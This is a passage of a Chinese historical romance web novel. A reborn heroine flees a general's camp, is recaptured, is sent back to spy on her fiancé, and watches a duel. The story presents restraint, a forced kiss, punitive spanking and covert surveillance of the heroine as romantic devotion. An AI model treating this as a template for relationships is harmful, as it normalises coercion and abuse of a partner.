苏绾决定不能坐以待毙，遂趁人不注意，悄悄拾了块片岩，锋利边缘好似刀刃。她以岩石反复割磨，割断绑缚手脚的绳索。
帐外站了一名守卫士兵，身穿铁甲，手握长枪。
苏绾以精湛口技模仿，假装被蜜蜂蛰咬，满地打滚尖叫救命。
之前晴雷特意叮嘱士兵：“小心看护，出了岔子，拿你命来赔。”
守卫冲进帐篷，还未看清状况，脑袋挨了一杵子重击，当即倒地不醒。
苏绾丢掉手里的竹凳，抹了一把额间冷汗，推开帐幕，向外逡巡张望。
外面星光点点，映照篝火燃燃。一望无际的操练场上，上百士兵仍在列队训练，吼声雷动震天。
士兵们训练有素，步兵手握金戈，兵器交鸣响彻天地；骑兵骑着战马，马蹄猎猎尘土飞扬。
一阵冷风嗖嗖钻入营帐，吹得苏绾打了一个寒颤。她赶忙放下帐幕，拍拍胸脯，让自己镇静下来。
上一世，绥靖王时枫率领三十万反叛军，打着“清君侧”的名义，围剿京城。当时她被绑在十字桩，立在城门楼上，举目远眺，成千上万的士兵举着红色的旗帜，汇成钢铁洪流铺天盖地席卷一空。
专为杀她和温如初而来。
伸手推开帐幕，苏绾低下头，融入浓浓夜色。
旷野蔽旌旃，一匹通体银白骏马正悠闲自在地啃食夜草，苏绾定睛一看，正是那匹驮着时枫回营的宝马。
四下也无别的闲马，苏绾上前拉起缰绳，翻身跃上马背，双腿加紧马勒，朝马臀重重一击，驾马飞奔远走高飞。
果真是一匹宝马，跑起来虎虎生风，有马踏飞燕之雄姿。上一世，苏绾览尽皇家名马，体感都不如骑这匹马，狂野中带着不羁，银白马鬃，夜色中尤其闪亮。
才走了二里地，还未得走出营口，半空中传来几声尖锐呼哨，宝马听见，竟直愣愣刹住马蹄，掉头往回就跑。
急得苏绾一个劲拍击马臀，“你别回头啊！”
这马经过训练，只听从主人的指令，先前它肯载苏绾一程
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，已是很给苏绾面子了。
苏绾情急之下，脑内快速闪过一个念头——跳马。她四下张望，见路边仙草葳蕤柔软，在马儿跑过时，咬牙纵身一跃，落入草丛深处。
哪知草丛底部是一块湿地，积累满池的淤泥。苏绾径直掉进泥潭，滚了又滚，蹭了又蹭，直包裹得浑身上下全是泥浆，俨然成了泥人儿。
她趴在泥淖里，四肢不得动弹，最落魄之际，时枫骑着踏月，伴随几名骑兵，踏踏行至跟前。
望着眼前的泥人，时枫蓦然一愣，身旁骑兵低头忍着笑意。
苏绾抬起头，兀自撞见那双清冽凤眸，仿佛被万世寒霜裹挟。
凤眸的主人低觑着她，冷冷道：“你跑得了吗？”
重生一世，她可曾逃的掉命运的羁绊？
一时间，各种酸楚涌上心头，连带着被人嘲笑的羞赧，苏绾的眼泪直在眼眶打转。
不等她的眼泪掉下来，男人低腰捞着她的身子，将她带向马背。不顾她满身泥泞，将她圈在怀里，两手拉起缰绳，调转马头返回。
“我不要回去。”苏绾委屈地抗议。
“别乱动，否则把你扔下马。”
男人有些生气，她为什么逃离他，明明是她欺骗他，他可是一句重话都没有讲过。
他不愿相信，梦里所发生的一切，是冥冥之中，上天给予他的预兆和警告。
现实打了他的脸。
细想之下，从头至尾，她就没有对他坦诚过任何一面。就连骑马这种无关痛痒的小事，她也要瞒着他，欺骗他。
何必呢？
随便扔给他一个理由：爱好打马球，强身健体，对抗苏家歧视，热爱大自然……诸如此类，他都能理解并给予尊重。
可她咬紧朱唇，一字未加解释。
按照他以往的脾性，该是将她当做奸细，严加审讯，就地正法才对。他也只是捆了她的手脚，扔进兵营。
他舍不得她。
踏月载着一双妙人儿，却没有在军营下榻处停下脚步，而是来到洗澡房。
这匹马太有灵性，竟能听懂主人的心思。
时枫一跃跳下马，转身伸出双手接应苏绾，“下来。”
情感上她不想再跟他有任何接触，理智上她别无选择，只好按着大手，任凭身体落进宽阔的怀抱。
时枫转身命令兵士：“擅闯者，按违背军令处置。”
横腰抱着泥塑的佳人，不顾众兵士窃窃私语的目光，男人一头钻进洗澡房。
军营洗澡房设备简陋，架设几根竹管从山泉处引流，打开阀门横杆，源源不断的泉水流入营房，再沿着地面挖好的槽道流出营房。
男人捞着苏绾，不管她如何踢腿挣扎，强行摁在竹管莲蓬下方。阀门横杆挪开，清冽冰凉的山泉哗啦啦浇头而下，推着满身泥污滴落游走，瞬间涤荡苏绾的理智。
大手拇指碾上朱唇，揩去嘴角一抹残污，男人哼了一声，“就这么想逃离我吗？”
星眸骤然抬起，带着不解，凝望威武不屈的战神，她突然感到自惭形秽，明明是她欺骗了他。
“我没有什么可解释的。”苏绾低下头，不忍再看那双眼睛。
“谁让你解释了？”男人拢着她一头乌发，细心地为她洗去铅华，“不想说就不说，没人强迫你。”
待洗净身上所有泥污，男人却没有离开的意思，他起手脱掉沾着泥浆的衣袍，露出结实的胸肌，显得孔武有力。
雄浑力量迷了苏绾的眼，令她脸颊微热。她欲起身躲开他的视线范围，却被男人擒住手腕，一手摁在墙壁上。
男人扔下一句话，“不许离开我。”停了一息，补充道：“这是命令，不是征求意见。”
她没听懂他的意思，当前不要离开，还是今生不要离开？
“你……”可她话头才刚出口，瞥见男人左臂紧紧缠绕的绷带，好似狰狞的荆条，布满整块手肘，满腹怨恨瞬间喑哑，再也吐不出来。
下一刻，炽热的呼吸紧紧贴上朱唇，疯狂掠夺汁液，将满腔的愤怒尽数偿还，以解除白日里的万般苦闷。
苏绾闭上眼睛。
待一切重新平静下来，时枫抱着苏绾回到营帐，亲自帮她穿戴整齐。
依旧是一身男子装束。
苏绾坐在床榻，低首摆弄手指，拨弄心中一团乱麻。她不知前路如何凶险，也不知自己该不该回头。
“你先休息一下，明早我送你回去。”
苏绾猛然抬头，“回去哪里？”
男人嘴角一斜，“这话问的，当然是送你回到未婚夫的身边。”
苏绾的心，瞬间跌入万丈深渊。
55. 京营
夜阑风静，烛蛾扑火。
苏绾自知无力定苍天，伴君如伴虎，如今被虎反噬，她也没什么好抱怨的。惟恨他薄情寡义，诓骗了她的身子，又将她再次推入火海。
满腔委屈无处宣泄，葱指攥着铺盖，咬牙道：“你费尽周折将我从他手里抢回来，如今又要巴巴地将我送还给他。想必他本事大过天，你斗不过他，唯有投降认输。”
低下头，幽怨道：“奴家真是看走了眼，还以为求得保命菩萨庇佑，谁知求来一尊泥菩萨，倒头来不过是，镜花水月一场空。”
攥拳敲击手心，恍然大悟道：“早知如此，奴家还不如找兵部尚书的长子呢。听说他是个憨熊，性格温驯，和蔼可亲，做事最讲诚信，必不会反咬奴家一口，将奴家拱手让人。”
一张小嘴呶呶不休，道不清是是非非名利场；两只小脚床前荡来荡去，荡不尽黄粱梦一场。
听得时枫差点笑死。
“谁说我要将你拱手让给别人啦？”
男人双手交叉环抱胸前，右手搭在左臂，叩敲层层缠绕的绷带，眼神充满佻达，饶有兴趣地听她抱怨。
“你又想起兵部尚书家的大老粗来啦？本将军倒想会一会他，看他究竟使了什么法子，让你这只猫崽子，始终对他念念不忘，张口闭口都要去找他。”
“不是你说的吗？明早就送我回去，回到那个吃人不吐骨头的魔窟。”苏绾抬起光洁的额头，狠狠剜了他一眼，“大老粗未必不肯理睬奴家。”
那副倔强娇俏模样，可爱极了，男人心神荡漾了几个来回，蓦然忆起洗澡房的旖旎风光。
他忍不住跬步向前，大掌捏着佳人腋窝提起，用力一撴，如同抱婴孩般倒扛在肩膀。
苏绾还沉浸在与人斗嘴的兴奋劲头，身子陡然一轻，被人连根拔起，倒栽葱般架在肩头。她两眼一黑，急得攥拳捶铁兽脊背，骂道：“你个疯子，又想干什么？”
男人一声不吭，挺直胸膛，气沉丹田，大掌挥舞，啪啪两下，用力拍打佳人的后臀。雷厉风行的架势，仿佛严父惩罚调皮不听话的顽童，又爱又恨，怜其美好，怒其不争。
掌击力度过大，疼得苏绾眼泪在眼眶里打转，“你有病啊，快放我下来。”
“知道错了没有？下次再敢从我身边逃跑，就不是打屁股这么简单了。”
佳人又羞又愤，小脚狠命踢打男人腹部，脚指头被铜墙铁壁撞得生疼。
结果换来更加响亮的一啪。
“这不是求饶的态度，好好说话。”
这一啪，逼出苏绾两行灯下泪。她不明白，天底下怎么会有如此变态的人，连司礼监的太监都不敢这么对她。
人为刀俎，我为鱼肉。
识时务者为俊杰。
逼急了，认他做爹都可以。
毕竟巴掌打在肉上，是真疼啊。
佳人泪流满面，拱手求饶，“奴家知错了，再不敢逃了，将军饶命。”
大手停在半空，犹豫一阵，啪，又重重落下。
“我不喜欢你的称呼，从此不准自称奴家，也不准叫我将军。”
那场斩发的噩梦幽灵般缭绕心尖，令他如鲠在喉，久久不能释怀。
连续大力拍打，彻底打垮苏绾的精神防线。她已化为垂死的玉兔，四肢瘫软，倒挂铁兽肩膀，有气无力道：“好嘛好嘛，再也不这么叫了，你别打了嘛。”
“那你该叫我什么？”男人声音有些急促。
苏绾迷迷糊糊地答道：“时枫，我叫你时枫，好不好？”
男人怒道：“本将军的名讳，岂是容你随便叫唤的？不好，换一个。”
这个家伙实在难缠，苏绾咬了咬牙，“榆白哥哥，行吗？”
男人咋么咋么嘴，“凑合，胜在无人叫过。”
苏绾恨得咬牙切齿，“求榆白哥哥放过，绾绾再也不逃了。”
眼见目的达成，男人终于停下手里的动作，心满意足地勾了勾唇，“乖乖，这才是我的好姑娘。”
依然是夹着双腋放下苏绾，大手揩去桃花脸颊泪痕。
苏绾倔强地侧过半身，偏不给他碰脸。
男人的手停在半空，嘴角会心一笑。
他横腰抱起苏绾，朝床铺一丢，骨碌碌，苏绾滚了半圈，落进堆成山垛的铺盖卷。
男人趁势一跳，搭坐床榻边，大手翻过她的身体，轻轻揉搓被他打肿的部位。
“我送你回去他的身边，是为了让你做一件事情。在温如初的书房里，藏有一封朱封密函，记载了重要的内容。温如初为人谨慎小心，无论走到哪里，都会确保这封密函安然无恙。”
“很快，朝廷将派遣他担任钦差大臣，南下杭州监管漕运，兼抓捕海寇等职责。你须陪同他一起南下，途中找机会拿到密函。”
后臀火辣辣地疼，已轻微红肿，苏绾十分确定眼前男人是个变态。她尚沉浸在余痛中，有一搭没一搭地问他，“什么紧要的内容？”
男人低垂着眼眸，漫不经心地回道：“没什么，温如初杀了时樾，那封密函就是铁证。”
轻飘飘的话语，令苏绾闻之一颤，霎时起了一身冷汗。
温如初如何害死的时樾，她不得而知。上一世，绥靖王时枫一路追查时樾将军死因，最终查到温如初的头上。彼时温如初已成功入阁，正愁没有手段除掉阁老。他便使一计“借刀杀人”，将阁老归咎元凶。时枫听信了他的谗言，晴朗秋日，单刀闯入阁老府邸，亲手挥刀斩杀一代名相章任梁。
为表示自己不知情，她故意装出一副吃惊模样，猛挺后腰爬起身，葱指抓着男人的衣领，眼睛睁得大大，“真的吗？温如初竟然是杀害时樾将军的元凶？你又如何得知那封密函的存在？”
夸张的神情并非苏绾一贯冷心冷肺的常态，瞬间引起男人的警觉，凤眸闪过一丝锐利光芒。然他刻意按下心悸，不动声色道：“是萧染告诉我的，他好像知道很多关于我的事情。”
萧染的确不一般。
画舫那日，萧染对她说过的话语历历在目：“温侍郎……不过狗仗人势。他背后撑腰的主人，也奈何不了我几分，何况区区一条狗？”
细想之下，萧染根本不惧温如初，更不怕章阁老。
什么样的狠角色，连当朝首辅也不放在眼里。
唯有后宫皇权之子。
可她翻遍记忆的角落，也未找到哪位皇子皇孙跟萧染有半点关系。
当今圣上五十知天命，膝下所出皇子共八人。最大皇子三十五岁，最小的皇子五岁，中间并无二十岁左右的子嗣，也无可能是皇孙一辈。
苏绾总觉得哪里不对劲，但她此刻也毫无头绪，跪坐在男人面前，星眸泛着淡淡清辉，好似惴惴玉兔，睁着迷离的眼。
那副惹人怜爱的模样勾弄着男人的心尖，他一把搂过苏绾，抱在怀里，下颌支在她的头顶，柔声道：“你不必担心，此去杭州，路途虽遥远，我会明里暗里保护你，不会让你伤到半根头发。”
“拿到那封密函以后，我将整理手头所有证据，一同呈报皇帝，弹劾温如初。就算是当朝首辅，也不得以身试法庇护他。”
“等我亲手送温如初下狱，你的婚约自然而然解除，没人敢再难为你。然后……”
男人欲言又止。
然后，他会想方设法讨取她的欢心，让她一辈子对他死心塌地，再也不离开他。
但是现在离做出承诺，还为时尚早。
他还不能确定她的心意。
也无法得知，她刻意隐瞒的秘密。
惟有等她自己敞开心扉的那一日。
苏绾早已预料，解除圣旨婚约，并非一朝一夕促就，少不得要探索一番虎穴龙潭。她只是没想到，他的反击计划竟形成的如此之快，即刻就要投身进阴险诡谲的朝堂争斗之中。
抬头凝望男人风霜凛凛的眼眸，放射出刚毅果决的光芒，给人以希望和力量，低头忍不住一声叹息：
倘若他能正常一点，就好了。
下手那么重，好人也被弄坏了。
苏绾气不打一处来，又不敢明目张胆的诋毁他，只好在心里不断腹诽，咒他出门踩狗屎。
可她没有注意到，不知不觉中自己已身陷泥潭，不能自拔。
第二日清晨，天空阴霾连片。
小旗官起得很早，他要预备饲料，灌满水槽，打扫马厩。喂饱踏月后，给它梳理毛发，清理马蹄，检查牙齿等，并安排自由奔跑或骑行训练等活动。
这
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一日，小旗官按照惯例，提着木桶去喂踏月，走近马厩一看，空空如也。
小旗官瞬间感觉浑身血液倒流。
他像个疯子一般在兵营奔跑，边跑边喊：“踏月丢了，踏月丢了。”
喊声传遍全营，士兵纷纷探出头张望。
百户长展臂拦截失心疯的小旗官，喝道：“吵什么吵？将军骑着踏月一早出营去了。”
小旗官眨巴眨巴眼睛，突然扑通跪在地上，长长吐一口气。
好险，差点以为踏月被奸细偷走，否则他的脑袋也不保了。
百户长望着远方天际，意味深长道：“被偷走的，不止是踏月啊。”
天际云霞明灭，变幻莫测。一队二十人左右的骑兵小分队，穿梭于云层之间。其中一匹银色的骏马尤为迅猛，势如疾风，快如闪电。
马背骑着一双妙人，身体紧扣，随马动颠簸起伏，穿梭千年红尘阡陌。
男人一身玄色铠甲，暗黑披风，威风凛凛大将军。他挥手指点江山，勾勒出京郊大营的轮廓，一一展示给怀里佳人观看。
京师京营，又称三大营，包括五军营、三千营和神机营。
五军营是骑兵和步兵混合体，军士除来自京师卫军外，又调地方部队加入，担任攻击的主力。
三千营最早由三千匈奴骑兵组成，后不断扩大队伍，担任突击部队角色。
神机营，因用兵交址，得火器法，立营肄习而名。掌火铳、火炮、火绳枪等神机炮火器。
京营并不直接掌管皇帝的宿卫，另专设十二卫为皇帝亲军，除锦衣卫中专理刑名的镇抚司外，从制度上均属兵部，编制隶属于京营。
京营内卫京师，外备征战，是朝廷最精锐的野战部队。
“有我这三万精兵坐镇，他拿什么来讨伐本将军？”时枫得意洋洋道。
昨夜，苏绾已见识过京师操练的所向披靡，那的确是一支训练有素的精良部队，充满了肃杀之气。活了两世，她未曾接触过战场上真刀真枪的厮杀，这一刻心灵上的震撼，是她无法想象的。
如果，她手里也有兵权，不再依附他人力量，凭自己本事杀出一条血路，前途又将如何？
一个不懂舞枪弄棒的弱女子，还想立军功当万户侯？简直痴人说梦。她心里这样笑自己。
苏绾捋起被风吹散的一缕青丝，哂笑道：“拥兵自重的王，还不是要将我双手奉还给他？”
马背缰绳突然一紧，扯得踏月险些跌足，畜生扬蹄嘶鸣抱怨，嘴里不断吐着白气。
男人停下来，正色道：“我再说一次，我不会把你让给任何人，想都不要想。一切都只是暂时的忍辱负重。”
停了一息，又说道：“你不是一直问我，如何对你的行踪了如指掌？你院子里的扫院婢女春蝉，外号叫做‘鳐鱼’，是我安插在苏府的眼线，时时传递消息给我。不仅如此，春蝉拳脚功夫了得，有她在你身边保护你，你不会受到任何伤害。”
“春蝉？”苏绾大为震惊，印象里春蝉是个十五岁的小丫头，进入苏府才仨月有余。
哦，从纳征那日开始，时枫就在布局谋划，算计她了！
明明是她设计引他入局，没想到自己摇身一变，成为局中人。
“你还有何事瞒着我？”苏绾的面颊因愠怒而微微泛红。
脑子里回想七根银针的事，时枫咽了口水，摇摇头，“没别的了。杀你焉用牛刀。”
“哼，就知道你没安好心。”苏绾不住地抱怨，完全忘记自己才是那个秘密成堆的大王。
她想了半天，赌气似的道：“你的马太难骑，我要换一匹。”
说着，提腿就要翻身下马。
气得时枫一巴掌拍在她的后臀，“给你脸了不是，昨晚上是谁哭着说再也不逃了。”
俩人正在争执中，忽然身后响起晴雷急促的声音：“爷不好了，前面来了一队兵！”
时枫打眼一看，果真有一队骑兵，自城西方向急急赶来。观那旗帜颜色，应是五城兵马司的都指挥使。
男人嗤笑一声，“被你相中的熊罴，今日自己找上门来了。”
苏绾咬了咬嘴唇。
哪里是五城兵马司找她，分明是温如初的爪牙来追捕她了。
56. 挑战
六月十一，城西京郊，天光云影徘徊。旌旗猎猎，金戈铁马，气吞万里如虎。
阵前战将大名陆展元，时任正六品五城兵马司都指挥，兵部尚书陆能长子。其人生得五大三粗，皮肤黝黑，面相凶煞。他身穿金漆山文甲，手握紫金偃月刀，骑一匹通体黝黑骏马，威成剑骑雄，凛凛有英风。
威武气势闪了时枫的眼，令他心生不快，凤眸沉了沉，压着嗓子道：“何事找本将军？”
陆展元抱拳为礼，“末将奉顺天府刘府尹之命，前来京郊兵营查探一桩公案。”
他清了清嗓子，“事关前晚户部温侍郎上报贼匪入室，掳掠未婚妻苏绾一案。经巡城兵马司查清，当晚将军车马曾强闯西门出城。又接线人通报，言其亲眼目睹将军与苏绾曾有过密切接触。综上，末将特来查证，以便通报兵部。”
五城兵马司行巡捕盗贼，疏理街道沟渠及囚犯、火禁之事。凡京城内外，各画境而分领之。各司巡夜所查，奏报兵部，并转呈司礼监。
时枫眯着眼眸，听其陈述案情过程，谁在里面搞鬼，心里已有几分把握。他右手握着缰绳，身子向前探了探，一脸不屑道：“温侍郎家里遭了贼，与本将军何干？难道说，是本将军夜半潜入他家里，夺了他的妻不成？”
陆展元笑道：“末将尚不敢妄断，然据温侍郎所述，那贼匪的左手臂曾被家丁砍伤，因此左臂负伤者，当有最大嫌疑。”
言毕，眼角有意无意扫了一眼时枫的左臂——果不其然，左手肘缠绕厚厚一层绷带，未戴环臂甲。
此时苏绾骑着一匹枣栗马，躲在时枫身后窥视。听见对方如此说，不禁冷汗淋漓。这下人赃并获，那家伙一准被兵马司拿住把柄，押入大牢递送刑部和都察院。她暗暗给时枫递眼色，试图提醒对方，可利用山匪当做借口，以撇清自己的嫌疑。
然而时枫根本不理睬她。
男人凤眸觑着对方，像是看一只可怜的狗，冷笑道：“说什么嫌疑不嫌疑的，分明就是本将军翻进温侍郎家的宅邸，抢走了他的未婚妻，你又如何？”
一语既出，惊天霹雳，在场众人全部傻眼。
旁边的苏绾吓得险些掉下马，这家伙不知道又吃错什么药，面对追兵竟然不打自招。想来他所谓的“送她回去”，难道是先主动投降，再物归原主？
陆展元蓦然一愣，显然没料到对方居然毫不掩饰地和盘托出。他吊着黑眉盯着对方看了一阵，大约也未猜出所以然，只好挺胸收腹正色道：“将军既已承认，便请将军即刻释放苏绾，末将也好带她回去复命。”
“哼，也要你有命来拿。”男人脸色骤变，手里金枪一横，摆出挑战的姿势。
大战在所难免，陆展元被迫亮出偃月刀，策马迎战出击。
紫刀铮铮，金枪鏦鏦。
风声鹤唳，草木皆兵。
见他二人莫名陷入恶战，苏绾心内琢磨一番，方看出些门道——那个家伙，无非就是耀武扬威，炫耀罢了。
想必是昨晚她赌气耍小性，抛出求助兵部尚书长子的言论，让他醋意大发，硬找借口扳回一城不可。
当着她的面，打败她的求救对象，让她无话可说，除了求他，天底下再也没有别的出路。
可恶，这个混蛋。
苏绾越想越气愤，自己处处被他拿捏，半点好处未得，还要忍辱负重赔笑脸。立时生出些报复心，想要跟时枫对着干。
这边时枫出招快狠准，陆展元根本不是他的对手，只五六个回合，便再也招架不住。稍不留神，即被对方逮住空档，金枪迎头狠狠压制宝刀。
忽然听见有人呼唤：
“将军救我！”
两方人马均始料未及，齐齐望向声音来源。
只见后方一位少年急急下马，疾行至陆展元马前，扑通一下跪地泣道：“奴家苏绾，被贼人掳掠，特来向将军求助。”
言毕，玉手拔掉发簪，一头乌发散落，端地是女娇娥，此非少年郎。双目含情脉脉，金风玉露相逢，更显容貌昳丽曼妙。
看呆了陆展元的眼。
他张大嘴巴，好半天憋出一句：“原来是苏姑娘，本官寻你寻得好辛苦。”
“哐啷”一声扔掉金刀，随即翻身下马，扶起苏绾，体贴安慰道：“苏姑娘莫怕，有什么冤屈，尽管诉诸本官，本官替你做主。”
时枫握着金枪，凤眸诧异地在苏绾身上滚了又滚，拿不准苏绾唱得是哪出戏。他直觉上认为，疯婆娘没准是想帮他，又或者想毁他。
那边男人一时踌躇不决，这边苏绾呜呜咽咽，诉不尽人间离愁。
“将军要为奴家做主呀。前日夕时，奴家与温侍郎兴起对酌，淡酒三杯两盏，奴家不胜酒力，乃卧床小憩。岂料夜半贼人上门，将奴家掳掠出城。次日奴家酒醒，才知事情始末。”
苏绾瞟了时枫一眼，“原是京卫指挥使时枫，觊觎奴家美色，抢了奴家来。还请将军救奴家出水火。”
美人梨花带雨，哭得陆展元心都碎了。紫金刀一横，豪言壮志道：“好大的胆子，光天化日之下，竟敢强抢民女。今日陆某人定要将那贼人一举拿下。”
马背上的“贼人”，一手竖举金枪，一手攥紧缰绳，陈醋坛子倾覆，恨不得一枪挑了陆展元。
不为别的，只因苏绾竟在他眼皮子底下，重现纳征车厢求人庇佑的戏码。
龌龊至盛，恶心至极。
男人顾不得思考，顿时泛起杀心。身子一低，双腿夹紧马肋。踏月心有灵犀，马蹄飞踏陡然冲出。
左腿勾着马鞍，身子向右探出，手里金枪一横，直刺向陆展元的胸口。
这一枪，速度太快，陆展元头还未抬起，根本来不及反应。
离他最近的苏绾，双手用力向前一推，推得陆展元差点跌个趔趄，也因此躲过一劫。他如梦方醒，捂着差点颠掉的头盔，拾起紫金刀，翻身上马应战。
哪知第二枪已经在路上了。
时枫突然调转马头，腰身向后一转，冷不防使一招漂亮的“回马枪”，猝不及防刺向陆展元，枪头直指他的脑袋。
用尽毕生武功所学，陆展元下意识低了低头，一刹那火花，金色枪头抵着头顶擦过，铁盔被枪头一扎子挑翻，骨碌碌滚落在地，发出叮叮当当碰撞声。
耳边蜂鸣嗡嗡，陆展元两眼昏花，还以为掉落的头盔是自己的头颅。他慌忙地伸手摸了又摸，拍了又拍。
哦，谢天谢地，脑袋瓜子尚在。
陆展元惊魂未定，转眼间，那杆来自地狱的金枪，复又归来。一招中平扎枪，虎啸生风，直刺他的咽喉部位。
陆展元心想：这下老子栽了。
招惹谁不好，偏偏找上“冷面阎罗”的门。他就是长八个脑袋，也不够被这杆夺命枪扎的。横竖都是死，陆展元闭上眼睛，等待阎罗审判他的命运。
苏绾看得胆战心惊，她本意是伪装自己被时枫绑架，并利用美色唆使陆展元擒拿他，顺便给他一个下马威，谁叫他一直高高在上拿权势压制她。
她预料到陆展元绝没本事压倒时枫，顶多借陆展元的口，过两句嘴瘾，煞煞他的威风，不过那也足够了。谁知他竟毫无预警发起疯来，红着眼睛就要杀人灭口。
岂不知斩杀巡查追捕的朝廷命官，当是死罪？
真是个不折不扣疯痞。
苏绾一边腹诽，一边快速思考对策。想来想去，终是一筹莫展。她以为男人犯了狂妄自大的疯病，殊不知对方实际掉进万年醋潭。
在时枫的眼里，容不得他人半点觊觎之心。敢来抢他的宝贝，他必杀得对方肠穿肚烂，七孔流血而亡。
金枪寒星点点，金光烁烁，泼水不能入，似潜龙出水，如猛虎出洞，虚实奇正，变化无穷。
眼看即将刺入对方咽喉，忽听一声大喊：“刀下留人。”
然而时枫不为所动，天王老子来了，也拦不住他的杀心。
金枪直棱棱扎向目标，电光火石之际，从暗处遽然飞出一根蛇矛，嗖得一下，矛尖撞击枪头，发出清脆的兵器撞击声，瞬间火花四溅。
金枪被蛇矛打落。
愤怒的烈火烧灼男人的眼眸，暗黑披风一甩，就去寻那拦挡他的罪魁祸首，“谁人挡我？！”
“你抽的哪门子邪风。”
不远处，大理寺卿邵云礼骑着马，手攥一卷调令，气急败坏而至，身后跟随五六侍卫骑兵。
路过时枫的身边，咬牙切齿恨道：“这笔账我一会儿再同你算。你先让开，大理寺奉命提人。”
见是熟人，时枫撇撇嘴，扶着金枪，策马退后两步。
邵云礼展开手中纸令示人，“今苏郎中之女苏绾，于府内遭遇黑风寨山匪掳掠，幸得京卫指挥使搭救，本官须立刻带走人证苏绾，协助调查
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案件，任何人不得擅自阻拦，违者斩。”
底下除了时枫外，众人面面相觑。尤其是陆展元，他明明拿了刘府尹的搜查令，特来京营抓捕嫌犯时枫，怎得对方摇身一变，成为救苦救难的救星？
他以金刀撑住地面，强行抖擞精神，黑脸问道：“慢着，敢问邵大人奉何令提见苏绾？”
邵云礼睥了陆展元一眼，慢条斯理将纸令卷起，塞入青衣袍袖，“我大理寺提人，恐怕无需同兵马司报备吧。”
尽管态度傲慢无礼，但他说得没错，兵马司行缉捕盗贼之责，不得越权越界过问上级审察机构。案情一旦涉及在京官员，即纳入“三法司”职权范畴，就算是顺天府，也无权插手干涉。
“这、这……”陆展元无计可施，急得话也说不出来。
邵云礼嗤笑道：“这什么这？陆大人还愣在这里做甚，还不赶快回去跟主子复命？方才若非本官出手相救，你早成了刀下魂。你不谢我，还在这里啰嗦没完，忒丢兵部的脸面。”
实际上，正是温如初派遣陆展元特来京营抓捕时枫，刘府尹那边只是打了招呼，真要追究责任，其实都是越界越权非法缉拿。
早在几年前，温如初尚做从五品户部员外郎时，就曾通过收买、拉拢、卖人情等手段，许以各种好处予五城兵马司都指挥陆展元。二人互相利用，得以筑起铜墙铁壁般的关系长城。
陆展元性格憨直，不起反心，颇为好用。唯有一项弱点，其人好色，虽不致酿大错，但美色当前，容易头脑昏聩分不清敌我。若不为此，也不至于被苏绾的一席眼泪迷了心窍，竟胡乱起了为她做主，抵抗强权之心。
可他再磨蹭下去也没意义，对方根本不给他讨价还价的余地。陆展元有苦说不出，恨得金刀顿地，骂道：“哎，大意失荆州，陆某人羞愤死也。”
这个铁憨憨，临走前竟朝苏绾说道：“还请苏姑娘放心，我此去自会同温侍郎说清楚缘由，还你清白人生，绝不叫你被那乱臣贼子白白掳掠一遭。”
苏绾“郑重”点点头，“奴家信任将军，将军一路保重。”
殷切细语差点让陆展元飙泪，他双手抱拳，悲壮道：“苏姑娘珍重，且等陆某人领兵讨伐他，救你出生天。”
言罢，陆展元挥刀告别，驾马率兵离去。他赶着回去为苏绾搬救兵，顺便跟他爹告上一状，势必拿下时枫不可。
望着五城兵马司都指挥的身影，渐渐隐没云端，苏绾长出一口气，眸子翻了翻，扭头翻身上马，策马扬鞭先行一步扬长而去。
看得邵云礼一愣，“她竟然会骑马。”
时枫冷笑一声，“她会得可多了，杀人越货，下毒色莠，无恶不作，招招置人于死地。”
邵云礼行至时枫跟前，二马并驾齐驱，他趁机揶揄道：“你还好意思说人家，方才你在搞什么鬼，还想杀掉陆展元？你是不是忘记他爹是谁，还是忘记自己是谁？你这一单杀爽了，换来的可是满门抄斩的罪过，你可还担待得起？”
“我不过斩杀一条看门狗，有什么担待不起的？”时枫瞟了一眼邵云礼，“再说，不是有你在么，刚才是谁耍足威风，‘大理寺断案，兵马司无权干涉’。”
他有模有样的学舌，令邵云礼感到又气又好笑，“你小子憋着坏给我下绊子，你是知道我昨晚接到你的密函，一大早就会赶来给你擦屁股，故意使这么一招，来折腾我是吧！”
说着，回手给了时枫一杵子，位置没掌握好，恰巧搥到他受伤的左臂，霎时浸染一片血色。
惊得邵云礼失声道：“哟，怎么回事？”
时枫脸色骤变，收起血染的手臂，轻描淡写道：“若不为遮掩它，我也不会赶着上山剿匪，这才着了萧染的道。”
他的每一步棋路，都是经过精心策划，绝非头脑一热而为之。
细腻的心思令邵云礼侧目，不知不觉中，那个荒漠里摸爬滚打的毛小子，已然成长为运筹帷幄的少将军。
他在心里轻轻地夸赞：时樾啊时樾，你弟弟马上就要超越你，你在九泉之下，也该感到欣慰吧。
他正感慨着，谁知下一刻时枫挥鞭策马，两脚一夹马肋，蹭的窜出几丈远。
邵云礼眼看着，时枫急急追上苏绾，忽然肩膀一塌，垂落左臂，装出一副受伤不殆的模样，死皮赖脸地往人家身子上靠。
大理寺卿叹口气，恶人自有恶人磨。
57. 回城
正午时分，积云藏嶮路。
京城西门张灯结彩，街市人头攒动，比肩接踵。百姓踮着脚尖，伸长脖子，争相观望大将军风采。
——“哟，今儿个摆的架势是为何？”
——“您还不知道呐，绥靖王世子爷，就是现任京卫指挥使，单枪匹马挑了黑风寨，救了所有被关押的百姓。”
——“哦哟，如此勇猛，真真可谓我朝名将，我等与有荣焉。”
我朝名将大将军，身穿玄色铠甲，暗黑披风，胯下一匹银白汗血宝马，毛皮油亮映着白光，行走在朱雀大街主路，好不威风自在。
比他调任京卫指挥使进京那日，更加风光得意！
英雄救美，实至名归。路途虽有波折坎坷，好在殊途同归。
最关键的，是他哄了一路，赌咒发誓，赔礼道歉，各种手段用尽，总算把她哄好，不再跟他使小性。
毕竟，是他有错在先，谁让他“偏不知好歹”，“成心欺负”她，害她“白白担心”。
重点是，她很担心他。
凤眸悄悄斜了一眼身后的倩影，男人越想越得意，忍不住趾高气扬，下巴抬高，从鼻孔里低觑路人。
前方傲娇大将军开路，身后跟着苏绾和邵云礼，一左一右，晴雷垫后。
苏绾内心忐忑不安，虽说是打着剿匪英雄的名义，胜利班师回朝，然而此计绝瞒不住温如初的眼睛——他只要稍微动动脑筋，就能看穿其中的蹊跷。
打跑都指挥陆展元，并没有给她带来多大好处，相反，还为自己多树立一方敌手。她并不指望那个憨熊，能帮助她消除温如初对她的猜忌，反倒会对她的背叛，又增添了一分肯定。
此去回到温如初的身边，该让她如何自处呢？
少不得要再装一番糊涂。
好在今生的温如初，还未曾见识过，前世诡计多端的那个“疯后”。不然，他势必会为自己精心培育的“恶之花”所震惊，并最终自食恶果。
说起前世的温念，那可真是恶魔降世。
光是回忆起他的声音语调，已然让苏绾不寒而栗，浑身如堕冰窟。
